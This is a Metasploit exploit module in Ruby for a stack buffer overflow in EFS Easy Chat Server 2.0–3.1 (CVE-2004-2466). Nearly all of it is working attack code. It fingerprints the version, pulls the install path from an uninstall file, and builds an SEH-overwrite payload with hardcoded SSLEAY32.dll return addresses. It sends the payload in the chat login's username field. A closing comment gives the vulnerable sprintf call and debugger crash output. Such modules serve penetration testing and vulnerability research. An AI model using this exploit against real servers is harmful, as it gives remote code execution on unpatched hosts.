168 lines
5.0 KiB
Ruby
168 lines
5.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in EFS Software Easy Chat
|
|
Server versions 2.0 to 3.1. By sending an overly long authentication
|
|
request, an attacker may be able to execute arbitrary code.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'LSO <lso[at]hushmail.com>', # original metasploit
|
|
'Brendan Coles <bcoles[at]gmail.com>' # metasploit
|
|
],
|
|
'License' => BSD_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2004-2466' ],
|
|
[ 'OSVDB', '7416' ],
|
|
[ 'OSVDB', '106841' ],
|
|
[ 'BID', '25328' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 7000,
|
|
'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:
|
|
# -- Windows XP SP 3 (x86) (EN)
|
|
# -- Windows 7 SP 1 (x64) (EN)
|
|
# -- Windows 8 SP 0 (x64) (EN)
|
|
[ 'Automatic Targeting', { 'auto' => true } ],
|
|
# p/p/r SSLEAY32.dll
|
|
[ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],
|
|
# p/p/r SSLEAY32.dll
|
|
[ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]
|
|
],
|
|
'DisclosureDate' => 'Aug 14 2007',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
version = get_version
|
|
if not version
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
vprint_status "#{peer} - Found version: #{version}"
|
|
if version !~ /^(2\.\d|3\.0|3\.1)$/
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
path = get_install_path
|
|
if not path
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
vprint_status "#{peer} - Found path: #{path}"
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
#
|
|
# Get software version from change log
|
|
#
|
|
def get_version
|
|
res = send_request_raw 'uri' => '/whatsnew.txt'
|
|
if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/
|
|
return "#{$1}"
|
|
end
|
|
end
|
|
|
|
#
|
|
# Get software installation path from uninstall file
|
|
#
|
|
def get_install_path
|
|
res = send_request_raw 'uri' => '/unins000.dat'
|
|
if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i
|
|
return "#{$1}"
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
|
|
# get target
|
|
if target.name =~ /Automatic/
|
|
version = get_version
|
|
vprint_status "#{peer} - Found version: #{version}" if version
|
|
if not version or version !~ /^(2\.\d|3\.0|3\.1)$/
|
|
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
|
|
elsif version =~ /(2\.0)/
|
|
my_target = targets[1]
|
|
elsif version =~ /(2\.\d|3\.0|3\.1)/
|
|
my_target = targets[2]
|
|
end
|
|
else
|
|
my_target = target
|
|
end
|
|
|
|
# get install path
|
|
path = get_install_path
|
|
if not path
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")
|
|
end
|
|
path << "\\users\\"
|
|
vprint_status "#{peer} - Using path: #{path}"
|
|
|
|
# send payload
|
|
sploit = rand_text_alpha(256 - path.length)
|
|
sploit << generate_seh_payload(my_target.ret)
|
|
print_status "#{peer} - Sending request (#{sploit.length} bytes) to target (#{my_target.name})"
|
|
send_request_cgi({
|
|
'uri' => '/chat.ghp',
|
|
'encode_params' => false,
|
|
'vars_get' => {
|
|
'username' => sploit,
|
|
'password' => rand_text_alphanumeric(rand(10) + 1),
|
|
'room' => 1,
|
|
'sex' => rand_text_numeric(1)
|
|
}
|
|
}, 5)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
=begin
|
|
|
|
0x004144C8 calls sprintf with the following arguments:
|
|
sprintf(&FileName, "%susers\\%s", path, username);
|
|
|
|
Since we can make the username larger than the allocated buffer size
|
|
we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with
|
|
a short jmp to the beginning of our shellcode.
|
|
|
|
(46c.144): Access violation - code c0000005 (first chance)
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea
|
|
eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0 nv up ei pl nz na po nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
|
|
EasyChat+0x45f34:
|
|
00445f34 8a02 mov al,byte ptr [edx] ds:0023:41414141=??
|
|
|
|
0:005> !exchain
|
|
01216dd8: 41414141
|
|
Invalid exception stack at 41414141
|
|
=end
|